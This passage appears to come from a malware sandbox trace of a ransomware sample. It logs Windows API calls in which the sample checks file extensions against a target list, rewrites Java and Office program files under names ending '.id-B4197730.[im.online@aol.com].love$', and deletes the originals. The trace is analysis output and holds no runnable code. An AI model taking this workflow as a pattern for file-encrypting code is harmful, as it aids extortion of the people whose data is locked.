"c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.755] lstrlenW (lpString=".doc") returned 4 [0242.755] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0242.755] lstrlenW (lpString=".docx") returned 5 [0242.755] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0242.755] lstrlenW (lpString=".pdf") returned 4 [0242.755] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0242.755] lstrlenW (lpString=".xls") returned 4 [0242.755] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0242.755] lstrlenW (lpString=".xlsx") returned 5 [0242.755] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0242.755] lstrlenW (lpString=".ppt") returned 4 [0242.755] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.755] lstrlenW (lpString=".zip") returned 4 [0242.755] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0242.755] lstrlenW (lpString=".rar") returned 4 [0242.755] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0242.755] lstrlenW (lpString=".bz2") returned 4 [0242.755] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0242.755] lstrlenW (lpString=".7z") returned 3 [0242.755] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.755] lstrlenW (lpString=".dbf") returned 4 [0242.755] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.755] lstrlenW (lpString=".1cd") returned 4 [0242.755] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0242.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".jpg") returned 4 [0242.756] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".doc") returned 4 [0242.756] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0242.756] lstrlenW (lpString=".docx") returned 5 [0242.756] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0242.756] lstrlenW (lpString=".pdf") returned 4 [0242.756] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString=".xls") returned 4 [0242.756] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString=".xlsx") returned 5 [0242.756] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0242.756] lstrlenW (lpString=".ppt") returned 4 [0242.756] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".zip") returned 4 [0242.756] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString=".rar") returned 4 [0242.756] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0242.756] lstrlenW (lpString=".bz2") returned 4 [0242.756] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0242.756] lstrlenW (lpString=".7z") returned 3 [0242.756] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".dbf") returned 4 [0242.756] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".1cd") returned 4 [0242.756] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0242.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0242.756] lstrlenW (lpString=".jpg") returned 4 [0242.756] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0242.757] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".love$") returned -1 [0242.757] lstrlenW (lpString="LICENSE") returned 7 [0242.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.757] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=40) returned 1 [0242.757] CloseHandle (hObject=0x45c) returned 1 [0242.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0242.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.758] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.759] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.759] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0242.762] GetLastError () returned 0x0 [0242.762] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x28, lpOverlapped=0x0) returned 1 [0242.763] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x30, lpOverlapped=0x0) returned 1 [0242.764] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0242.764] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe2, lpOverlapped=0x0) returned 1 [0242.764] SetEndOfFile (hFile=0x540) returned 1 [0242.764] CloseHandle (hObject=0x540) returned 1 [0242.764] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.764] SetEndOfFile (hFile=0x45c) returned 1 [0242.767] CloseHandle (hObject=0x45c) returned 1 [0242.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.768] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0242.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.768] lstrlenW (lpString=".doc") returned 4 [0242.768] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0242.768] lstrlenW (lpString=".docx") returned 5 [0242.768] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0242.768] lstrlenW (lpString=".pdf") returned 4 [0242.768] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0242.769] lstrlenW (lpString=".xls") returned 4 [0242.773] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0242.773] lstrlenW (lpString=".xlsx") returned 5 [0242.773] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0242.773] lstrlenW (lpString=".ppt") returned 4 [0242.773] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0242.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.773] lstrlenW (lpString=".zip") returned 4 [0242.773] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString=".rar") returned 4 [0242.774] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString=".bz2") returned 4 [0242.774] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString=".7z") returned 3 [0242.774] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0242.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.774] lstrlenW (lpString=".dbf") returned 4 [0242.774] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.774] lstrlenW (lpString=".1cd") returned 4 [0242.774] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.774] lstrlenW (lpString=".jpg") returned 4 [0242.774] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0242.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.774] lstrlenW (lpString=".doc") returned 4 [0242.774] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".docx") returned 5 [0242.775] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0242.775] lstrlenW (lpString=".pdf") returned 4 [0242.775] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".xls") returned 4 [0242.775] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".xlsx") returned 5 [0242.775] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0242.775] lstrlenW (lpString=".ppt") returned 4 [0242.775] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.775] lstrlenW (lpString=".zip") returned 4 [0242.775] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".rar") returned 4 [0242.775] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".bz2") returned 4 [0242.775] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString=".7z") returned 3 [0242.775] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0242.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.775] lstrlenW (lpString=".dbf") returned 4 [0242.775] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.775] lstrlenW (lpString=".1cd") returned 4 [0242.775] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0242.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0242.775] lstrlenW (lpString=".jpg") returned 4 [0242.775] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0242.775] lstrcmpiW (lpString1=".0_144\\release", lpString2=".love$") returned -1 [0242.776] lstrlenW (lpString="release") returned 7 [0242.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.776] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=528) returned 1 [0242.777] CloseHandle (hObject=0x45c) returned 1 [0242.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0242.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.778] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.778] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0242.779] GetLastError () returned 0x0 [0242.779] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x210, lpOverlapped=0x0) returned 1 [0242.780] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x220, lpOverlapped=0x0) returned 1 [0242.781] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0242.782] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe2, lpOverlapped=0x0) returned 1 [0242.785] SetEndOfFile (hFile=0x540) returned 1 [0242.785] CloseHandle (hObject=0x540) returned 1 [0242.785] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.786] SetEndOfFile (hFile=0x45c) returned 1 [0242.914] CloseHandle (hObject=0x45c) returned 1 [0242.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.914] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0242.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.915] lstrlenW (lpString=".doc") returned 4 [0242.915] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0242.915] lstrlenW (lpString=".docx") returned 5 [0242.915] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0242.915] lstrlenW (lpString=".pdf") returned 4 [0242.915] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString=".xls") returned 4 [0242.916] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString=".xlsx") returned 5 [0242.916] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0242.916] lstrlenW (lpString=".ppt") returned 4 [0242.916] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.916] lstrlenW (lpString=".zip") returned 4 [0242.916] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString=".rar") returned 4 [0242.916] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString=".bz2") returned 4 [0242.916] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString=".7z") returned 3 [0242.916] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0242.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.916] lstrlenW (lpString=".dbf") returned 4 [0242.916] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.916] lstrlenW (lpString=".1cd") returned 4 [0242.916] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.916] lstrlenW (lpString=".jpg") returned 4 [0242.916] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0242.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.917] lstrlenW (lpString=".doc") returned 4 [0242.917] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".docx") returned 5 [0242.917] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0242.917] lstrlenW (lpString=".pdf") returned 4 [0242.917] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".xls") returned 4 [0242.917] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".xlsx") returned 5 [0242.917] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0242.917] lstrlenW (lpString=".ppt") returned 4 [0242.917] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.917] lstrlenW (lpString=".zip") returned 4 [0242.917] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".rar") returned 4 [0242.917] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".bz2") returned 4 [0242.917] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0242.917] lstrlenW (lpString=".7z") returned 3 [0242.917] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0242.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0242.917] lstrlenW (lpString=".dbf") returned 4 [0243.346] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0243.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0243.347] lstrlenW (lpString=".1cd") returned 4 [0243.347] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0243.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0243.347] lstrlenW (lpString=".jpg") returned 4 [0243.347] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0243.347] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.347] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0243.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.588] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19136) returned 1 [0243.588] CloseHandle (hObject=0x548) returned 1 [0243.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0243.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.589] lstrlenW (lpString=".doc") returned 4 [0243.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString=".docx") returned 5 [0243.589] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0243.589] lstrlenW (lpString=".pdf") returned 4 [0243.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString=".xls") returned 4 [0243.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString=".xlsx") returned 5 [0243.589] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0243.589] lstrlenW (lpString=".ppt") returned 4 [0243.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.589] lstrlenW (lpString=".zip") returned 4 [0243.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString=".rar") returned 4 [0243.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.589] lstrlenW (lpString=".bz2") returned 4 [0243.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.589] lstrlenW (lpString=".7z") returned 3 [0243.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.589] lstrlenW (lpString=".dbf") returned 4 [0243.589] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.589] lstrlenW (lpString=".1cd") returned 4 [0243.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.589] lstrlenW (lpString=".jpg") returned 4 [0243.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString=".doc") returned 4 [0243.590] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString=".docx") returned 5 [0243.590] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0243.590] lstrlenW (lpString=".pdf") returned 4 [0243.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString=".xls") returned 4 [0243.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString=".xlsx") returned 5 [0243.590] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0243.590] lstrlenW (lpString=".ppt") returned 4 [0243.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString=".zip") returned 4 [0243.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString=".rar") returned 4 [0243.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.590] lstrlenW (lpString=".bz2") returned 4 [0243.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.590] lstrlenW (lpString=".7z") returned 3 [0243.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString=".dbf") returned 4 [0243.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString=".1cd") returned 4 [0243.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0243.590] lstrlenW (lpString=".jpg") returned 4 [0243.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.591] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.591] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0243.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft 